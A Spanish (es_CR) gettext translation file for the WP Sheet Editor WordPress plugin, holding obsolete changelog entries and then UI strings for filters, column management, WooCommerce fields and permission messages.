searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - El flujo de configuración rápida fue rediseñado para " #~ "que la configuración sea más fácil de entender.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved translations. Now we include a .pot file.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Traducciones mejoradas. Ahora incluimos un archivo." #~ "pot.

                  " #~ msgid "" #~ "

                  FIX - CORE - Added compatibility with \"ultimate fields\" plugin.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Añadida la compatibilidad con el plugin \"ultimate " #~ "fields\".

                  " #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields +v5.0.0. " #~ "(Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Advanced Custom Fields " #~ "+v5.0.0. (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New feature - Spreadsheet formulas - Added support for regular " #~ "expressions (Available for paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Fórmulas de hoja de cálculo - Añadido soporte para " #~ "expresiones regulares (Disponible sólo para usuarios de pago. Upgrade)" #~ msgid "" #~ "New extension - WooCommerce Customers Spreadsheet. View all customer " #~ "profiles, View shipping and Billing info, Advanced Searches, and more. View Extension)" #~ msgstr "" #~ "Nueva extensión - Hoja de cálculo de clientes de WooCommerce. Ver todos " #~ "los perfiles de clientes, Ver información de envío y facturación, " #~ "Búsquedas avanzadas y más. Ver Extensión " #~ ")" #~ msgid "" #~ "Updated extension - Frontend Spreadsheets. Let your users create and edit " #~ "Information like Events, Business listings, WooCommerce Products, Posts, " #~ "etc. View Extension)" #~ msgstr "" #~ "Extensión actualizada - Hojas de cálculo de Frontend. Permite a tus " #~ "usuarios crear y editar información como eventos, listados de negocios, " #~ "Productos WooCommerce, Posts, etc. Ver " #~ "Extensión )" #~ msgid "Improved tools: formulas engine" #~ msgstr "Herramientas mejoradas: motor de fórmulas" #~ msgid "Improved tools: advanced search" #~ msgstr "Herramientas mejoradas: búsqueda avanzada" #~ msgid "Fixed more than 19 bugs" #~ msgstr "Arreglados más de 19 bugs" #~ msgid "Improved 10 features" #~ msgstr "10 características mejoradas" #~ msgid "Updated 4 extensions." #~ msgstr "4 Extensiones Actualizadas." #~ msgid "Apply filters" #~ msgstr "Aplicar filtros" #~ msgid "" #~ "You will be able to switch from one columns group to another group with " #~ "one click. We will display the option in the top toolbar > columns " #~ "manager dropdown" #~ msgstr "" #~ "Podrás cambiar de un grupo de columnas a otro grupo con un solo clic. " #~ "Mostraremos la opción en la barra de herramientas superior > desplegable " #~ "del gestor de columnas" #~ msgid "Edit thousands of rows at once in seconds" #~ msgstr "Edita miles de filas a la vez en segundos" #~ msgid "" #~ "Delete all the items containing duplicate values in the column, we only " #~ "leave one item per unique value. Read more" #~ msgstr "" #~ "Borrar todos los ítems que contienen valores duplicados en la columna, " #~ "sólo dejamos un ítem por cada valor único. Leer más" #~ msgid "Copy from multiple columns" #~ msgstr "Copiar desde varias columnas" #~ msgid "" #~ "Example: 'Articles written by $post_author$ on $post_date$' = 'Articles " #~ "written by Adam on 24-12-2017'.
                  Another example: '$category$-" #~ "$_regular_price$ EUR' would be 'Videos - 25 EUR'" #~ msgstr "" #~ "Ejemplo: 'Artículos escritos por $post_author$ en $post_date$' = " #~ "'Artículos escritos por Adam el 24-12-2017'.
                  Otro ejemplo: " #~ "'$category$-$_regular_price$ EUR' sería `Videos - 25 EUR´'." #~ msgid "The variations are for these products:" #~ msgstr "Las variaciones son para estos productos:" #~ msgid "Hide cell comments?" #~ msgstr "¿Ocultar los comentarios de las celdas?" #~ msgid "" #~ "For example, to get all products with price higher than 100, use: " #~ "_regular_price > 100" #~ msgstr "" #~ "Por ejemplo, para encontrar todos los productos con precio mayor a 100, " #~ "usa: _regular_price > 100" #~ msgid "" #~ "- The sheet has a limit of %d columns for performance reasons. You " #~ "reached the limit. You need to delete columns in the list above (Move " #~ "them to the \"disabled\" list and click the X button on each column), " #~ "reload the page, and new columns will appear automatically - or - you can " #~ "increase the columns limit." #~ msgstr "" #~ "- La hoja tiene un límite de %d de columnas por razones de rendimiento. " #~ "Has llegado al límite. Necesitas eliminar las columnas de la lista " #~ "anterior (Muévelas a la lista \"desactivada\" y haz clic en el botón X de " #~ "cada columna), vuelve a cargar la página, y aparecerán nuevas columnas " #~ "automáticamente - o - puedes aumentar el " #~ "límite de las columnas ." #~ msgid "" #~ "Make advanced searches and show only the matching rows in the " #~ "spreadsheet. You can search by multiple conditions at once." #~ msgstr "" #~ "Haz búsquedas avanzadas y muestra sólo las filas coincidentes en la hoja " #~ "de cálculo. Puedes buscar por múltiples condiciones a la vez." #~ msgid "" #~ "This feature allows you to filter the items in the spreadsheet to display " #~ "only the items you want to edit." #~ msgstr "" #~ "Esta función te permite filtrar los elementos de la hoja de cálculo para " #~ "mostrar sólo los elementos que quieres editar." #~ msgid "Update existing value with the result of a math operation." #~ msgstr "" #~ "Actualizar el valor existente con el resultado de una operación " #~ "matemática." #~ msgid "Decrease the existing value by a percentage." #~ msgstr "Disminuir el valor existente en un porcentaje." #~ msgid "Decrease the existing value by a number." #~ msgstr "Disminuir el valor existente en un número." #~ msgid "Increase the existing value by a percentage." #~ msgstr "Incrementar el valor existente en un porcentaje." #~ msgid "Increase the existing value by a number." #~ msgstr "Incrementar el valor existente en un número." #~ msgid "" #~ "Invalid #8W89WW. The search and replace text must not be empty. At least " #~ "one of them must have a value" #~ msgstr "" #~ "Inválido #8W89WWW. El texto de búsqueda y reemplazo no debe estar vacío. " #~ "Al menos uno de ellos debe tener un valor" #~ msgid "

                  Complete. You can close this popup

                  ." #~ msgstr "

                  Completo. Puedes cerrar esta ventana emergente

                  ." #~ msgid "%d of %d items have been processed. %d items have been updated." #~ msgstr "%d de %d artículos han sido procesados. %d han sido actualizados." #~ msgid "I will edit this file with Microsoft Excel." #~ msgstr "Editaré este archivo con Microsoft Excel." #~ msgid "" #~ "Sometimes Excel shows all the values in a single cell and it does not " #~ "recognize the comma as separator. This fixes that problem" #~ msgstr "" #~ "A veces Excel muestra todos los valores en una sola celda y no reconoce " #~ "la coma como separador. Esto arregla el problema" #~ msgid "" #~ "We find items that have the same value in the CSV Field and the WP Field." #~ "
                  For example, users with the same email address in the CSV and WP." #~ "
                  We can search in 2 fields. Example: products with same SKU and Title," #~ "
                  or users with same email address and username." #~ msgstr "" #~ "Encontramos elementos que tienen el mismo valor en el campo CSV y en el " #~ "campo WP.
                  Por ejemplo, los usuarios con la misma dirección de correo " #~ "electrónico en el CSV y WP.
                  Podemos buscar en 2 campos. Ejemplo: " #~ "productos con el mismo SKU y título,
                  o usuarios con la misma " #~ "dirección de correo electrónico y nombre de usuario." #~ msgid "Field 1: CSV Field" #~ msgstr "Campo 1: Campo CSV" #~ msgid "Field 1: WordPress Field" #~ msgstr "Campo 1: Campo de WordPress" #~ msgid "Share" #~ msgstr "Compartir" #~ msgid "" #~ "

                  Missing column?

                  1. Try to add it automatically. Click here
                  2. You reached the " #~ "columns limit? Fix it
                  3. Maybe " #~ "the column is hidden.
                  4. We can " #~ "help you Contact us
                  " #~ msgstr "" #~ "

                  ¿Falta una columna?

                  1. Intenta añadirla automáticamente. Haz clic aquí
                  2. ¿Has llegado al " #~ "límite de las columnas? Corregir
                  3. >Tal vez la columna esté oculta.
                  4. Podemos ayudarte Contáctanos
                  " #~ msgid "(Go premium)" #~ msgstr "(Pasate a Premium)" #~ msgid "How many posts do you want to display on the spreadsheet?" #~ msgstr "¿Cuántos posts quieres mostrar en la hoja de cálculo?" #~ msgid "Advanced" #~ msgstr "Avanzado" #~ msgid "" #~ "When you have 1000 posts , you might want to open the spreadsheet and " #~ "start editing from post 200. This option lets you open the spreadsheet " #~ "and start from a specific post index instead of starting from the " #~ "beginning." #~ msgstr "" #~ "Cuando tengas 1000 posts, es posible que quieras abrir la hoja de cálculo " #~ "y empezar a editar desde el post 200. Esta opción te permite abrir la " #~ "hoja de cálculo y empezar desde un índice de post específico en lugar de " #~ "empezar desde el principio." #~ msgid "Scheduled" #~ msgstr "Programado" #~ msgid "You can deactivate this forever on the settings page" #~ msgstr "Puedes desactivarlo para siempre en la página de configuración" #~ msgid "Available post types" #~ msgstr "Tipos de post disponibles" #~ msgid "Custom Spreadsheets for Your Users or Employees" #~ msgstr "Hojas de cálculo personalizadas para tus usuarios o empleados" modules/wp-sheet-editor/lang/vg_sheet_editor-es_CR.po000064400001165603147600365160016704 0ustar00msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2023-07-12T19:16:48+00:00\n" "PO-Revision-Date: 2023-07-19 13:16-0600\n" "Last-Translator: \n" "Language-Team: \n" "Language: es_CR\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: Poedit 3.3.1\n" #: acf/acf.php:84 msgid "ACF: Show checkboxes as multi select dropdowns?" msgstr "" "ACF: ¿Mostrar las casillas de verificación como desplegados de selección " "múltiple?" #: acf/acf.php:85 msgid "" "By default, we show every checkbox as a separate column, but if you have " "checkboxes with many options you might want to use one column with a " "dropdown instead." msgstr "" "Por defecto, mostramos cada casilla de verificación como una columna " "separada, pero si tienes casillas de verificación con muchas opciones es " "posible que desees utilizar una columna con un desplegable en su lugar." #: acf/acf.php:377 msgid "" "You need to configure your Google Maps API key to save the Google Maps " "columns. This is required by Advanced Custom Fields, you can follow this tutorial" msgstr "" "Tienes que configurar la API key de Google Maps para poder guardar valores " "en las columnas de mapas de Advanced Custom Fields. Esto es requerido por " "Advanced Custom Fields, puedes seguir este tutorial" #: acf/acf.php:915 msgid "Enter a title" msgstr "Ingresa un título" #: acf/acf.php:1144 msgid "Row" msgstr "Fila" #: advanced-filters/advanced-filters.php:48 #: advanced-filters/advanced-filters.php:70 #: columns-manager/inc/column-groups.php:281 #: columns-resizing/columns-resizing.php:59 #: columns-visibility/columns-visibility.php:213 formulas/formulas.php:590 #: spreadsheet-setup/spreadsheet-setup.php:283 #: universal-sheet/universal-sheet.php:144 woocommerce/inc/attributes.php:799 #: woocommerce/inc/attributes.php:1019 woocommerce/inc/downloadable.php:368 #: woocommerce/inc/downloadable.php:387 woocommerce/inc/variations.php:1618 #: woocommerce/inc/variations.php:1637 #: wp-sheet-editor/dev/inc/api/editor.php:161 #: wp-sheet-editor/dev/wp-sheet-editor.php:1162 #: wp-sheet-editor/dev/wp-sheet-editor.php:1176 #: wp-sheet-editor/dev/wp-sheet-editor.php:1187 msgid "You dont have enough permissions to view this page." msgstr "No tienes suficientes permisos para ver esta página." #: advanced-filters/advanced-filters.php:132 msgid "Save this search" msgstr "Guardar esta búsqueda" #: advanced-filters/advanced-filters.php:133 msgid "Enter a name..." msgstr "Ingresa un nombre..." #: advanced-filters/advanced-filters.php:441 #: woocommerce/inc/import-export.php:96 msgid "Parent" msgstr "Padre" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter %s" msgstr "Ingresa %s" #: advanced-filters/advanced-filters.php:637 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 msgid "Enter the names of " msgstr "Ingresa los nombres de " #: advanced-filters/advanced-filters.php:638 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:40 msgid "Category name..." msgstr "Nombre de la categoría..." #: advanced-filters/advanced-filters.php:650 #: advanced-filters/advanced-filters.php:707 #: advanced-filters/advanced-filters.php:762 filters/filters.php:540 msgid "Select..." msgstr "Seleccionar..." #: advanced-filters/advanced-filters.php:705 msgid "Field" msgstr "Campo" #: advanced-filters/advanced-filters.php:714 msgid "Last edit" msgstr "Última modificación" #: advanced-filters/advanced-filters.php:715 msgid "Old slug" msgstr "Slug antiguo" #: advanced-filters/advanced-filters.php:716 filters/filters.php:508 #: wp-sheet-editor/dev/inc/api/bootstrap.php:662 msgid "Author" msgstr "Autor" #: advanced-filters/advanced-filters.php:717 msgid "Date (GMT)" msgstr "Fecha (GMT)" #: advanced-filters/advanced-filters.php:718 msgid "Modified Date (GMT)" msgstr "Fecha de Modificación (GMT)" #: advanced-filters/advanced-filters.php:719 #: wp-sheet-editor/dev/inc/api/bootstrap.php:725 msgid "Comments" msgstr "Comentarios" #: advanced-filters/advanced-filters.php:720 msgid "Ping status" msgstr "Estado del ping" #: advanced-filters/advanced-filters.php:721 #: wp-sheet-editor/dev/inc/api/bootstrap.php:501 msgid "URL Slug" msgstr "URL Slug" #: advanced-filters/advanced-filters.php:722 #: wp-sheet-editor/dev/inc/api/bootstrap.php:759 msgid "Page Parent" msgstr "Página Padre" #: advanced-filters/advanced-filters.php:723 msgid "Mime type" msgstr "Tipo de MIME" #: advanced-filters/advanced-filters.php:724 msgid "Comment count" msgstr "Recuento de comentarios" #: advanced-filters/advanced-filters.php:725 msgid "EDD Variable Prices" msgstr "Precio variable EDD" #: advanced-filters/advanced-filters.php:726 msgid "EDD Download Files" msgstr "Archivos de descarga EDD" #: advanced-filters/advanced-filters.php:757 msgid "A field is missing? Click here" msgstr "¿Faltan campos? Haz clic aquí" #: advanced-filters/advanced-filters.php:761 msgid "Operator" msgstr "Operador" #: advanced-filters/advanced-filters.php:767 woocommerce/inc/attributes.php:779 #: woocommerce/inc/attributes.php:780 woocommerce/inc/variations.php:507 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:947 msgid "Value" msgstr "Valor" #: advanced-filters/advanced-filters.php:772 #: advanced-filters/advanced-filters.php:798 #: wp-sheet-editor/dev/inc/api/bootstrap.php:276 msgid "Add new" msgstr "Añadir nuevo" #: advanced-filters/advanced-filters.php:775 msgid "X" msgstr "X" #: advanced-filters/advanced-filters.php:785 msgid "Enable advanced filters" msgstr "Habilitar filtros avanzados" #: advanced-filters/advanced-filters.php:788 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Advanced search" msgstr "Búsqueda avanzada" #: advanced-filters/advanced-filters.php:790 msgid "" "You can search by any field using operators. I.e. price > 100, image != " "(empty)" msgstr "" "Puedes buscar por cualquier campo usando operadores. Por ejemplo: precio > " "100, imagen != (vacío)" #: advanced-filters/advanced-filters.php:807 msgid "NOT Contains this keyword" msgstr "No Contiene esta palabra clave" #: advanced-filters/advanced-filters.php:807 msgid "" "Enter a keyword to exclude posts, separate multiple keywords with a " "semicolon (;)" msgstr "" "Ingresa una palabra clave para excluir filas. Separa múltiples palabras " "claves con un punto y coma (;)" #: advanced-filters/advanced-filters.php:811 msgid "Find these IDs:" msgstr "Encontrar estos IDs:" #: advanced-filters/advanced-filters.php:811 msgid "" "Enter IDs separated by commas, spaces, new lines, or tabs. You can use ID " "ranges like 20-50 as a shortcut." msgstr "" "Ingresa los IDs separados por comas, espacios, nuevas líneas, o usando tabs. " "Puedes agregar rangos como 20-50 como un acceso directo." #: advanced-filters/advanced-filters.php:816 msgid "Find these URLs:" msgstr "Encontrar estas URLs:" #: advanced-filters/advanced-filters.php:816 msgid "Enter one URL per line" msgstr "Ingresa una URL por línea" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Date range from" msgstr "Fecha Inicial" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "Show items published between these dates" msgstr "Mostrar elementos publicados entre estas fechas" #: advanced-filters/advanced-filters.php:820 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 msgid "to" msgstr "Fecha final" #: advanced-filters/advanced-filters.php:839 msgid "Any of these values (Enter multiple values separated by ;)" msgstr "" "Cualquiera de estos valores (Ingresa múltiples valores separados por ;)" #: advanced-filters/advanced-filters.php:840 msgid "CONTAINS" msgstr "CONTIENE" #: advanced-filters/advanced-filters.php:841 msgid "NOT CONTAINS" msgstr "NO CONTIENE" #: advanced-filters/advanced-filters.php:842 msgid "STARTS WITH" msgstr "INICIA CON" #: advanced-filters/advanced-filters.php:843 msgid "ENDS WITH" msgstr "TERMINA CON" #: advanced-filters/advanced-filters.php:844 msgid "CHARACTER LENGTH <" msgstr "CANTIDAD DE CARACTERES <" #: advanced-filters/advanced-filters.php:845 msgid "CHARACTER LENGTH >" msgstr "CANTIDAD DE CARACTERES >" #: advanced-filters/advanced-filters.php:846 msgid "REGEXP" msgstr "REGEXP" #: advanced-filters/advanced-filters.php:847 msgid "In the last x hours" msgstr "En las últimas X horas" #: advanced-filters/advanced-filters.php:848 msgid "In the last x days" msgstr "En los últimos X días" #: advanced-filters/advanced-filters.php:849 msgid "In the last x weeks" msgstr "En las últimas X semanas" #: advanced-filters/advanced-filters.php:850 msgid "In the last x years" msgstr "En los últimos X años" #: columns-manager/columns-manager.php:70 wp-sheet-editor/dev/inc/ajax.php:19 #: wp-sheet-editor/dev/inc/ajax.php:45 msgid "You dont have enough permissions to do this action." msgstr "No tienes suficientes permisos para realizar esta acción." #: columns-manager/columns-manager.php:103 msgid "Please select the background color" msgstr "Por favor, selecciona un color de fondo" #: columns-manager/columns-manager.php:105 formulas/inc/ui.php:622 msgid "Clear value" msgstr "Borrar valor" #: columns-manager/columns-manager.php:107 #: custom-columns/views/settings-page.php:149 #: wp-sheet-editor/dev/inc/api/bootstrap.php:265 #: wp-sheet-editor/dev/views/post-types-form.php:31 #: wp-sheet-editor/dev/views/settings-form.php:120 msgid "Save" msgstr "Guardar" #: columns-manager/columns-manager.php:108 formulas/inc/ui.php:132 #: posts-templates/posts-templates.php:106 #: universal-sheet/views/export-modal.php:14 #: universal-sheet/views/export-modal.php:84 #: universal-sheet/views/import-modal.php:15 #: wp-sheet-editor/dev/views/editor-page.php:265 msgid "Cancel" msgstr "Cancelar" #: columns-manager/columns-manager.php:259 msgid "" " Some columns have the button to change the " "formatting" msgstr "" " Algunas columnas tienen el botón para cambiar " "el formato" #: columns-manager/columns-manager.php:273 columns-visibility/views/form.php:9 msgid "Columns manager" msgstr "Gestor de columnas" #: columns-manager/columns-manager.php:554 #: wp-sheet-editor/dev/inc/api/bootstrap.php:830 msgid ". Add child categories using this format: Parent > child1 > child2" msgstr ". Agrega categorías hijas usando este formato: Padre > hija1 > hija2" #: columns-manager/columns-manager.php:563 msgid "Enter multiple terms separated by commas" msgstr "Ingresa varios términos separados por comas" #: columns-manager/columns-manager.php:581 msgid "Enter multiple post titles separated by commas" msgstr "Ingresa varios títulos separados por comas" #: columns-manager/columns-manager.php:1111 #: wp-sheet-editor/dev/inc/api/bootstrap.php:182 #: wp-sheet-editor/dev/inc/options-init.php:564 #: wp-sheet-editor/dev/inc/options-init.php:567 #: wp-sheet-editor/dev/views/quick-setup.php:101 msgid "Settings" msgstr "Ajustes" #: columns-manager/columns-manager.php:1127 #: custom-columns/views/settings-page.php:91 msgid "Is read only?" msgstr "¿Es de sólo lectura?" #: columns-manager/columns-manager.php:1131 msgid "" "Read-only columns will display a lock and it won't be possible to edit them " "anywhere in the spreadsheet. This is not a security feature because people " "still can edit in the regular WP screens." msgstr "" "Las columnas de sólo lectura mostrarán un candado y no será posible " "editarlas en ninguna parte de la hoja de cálculo. Esto no es una " "característica de seguridad porque la gente todavía puede editar en las " "pantallas normales de WP." #: columns-manager/columns-manager.php:1140 msgid "User capabilities that can read this column" msgstr "Capacidades del usuario que pueden leer esta columna" #: columns-manager/columns-manager.php:1140 msgid "" "The column will appear in the spreadsheet and exports if the user has a role " "with the required capability." msgstr "" 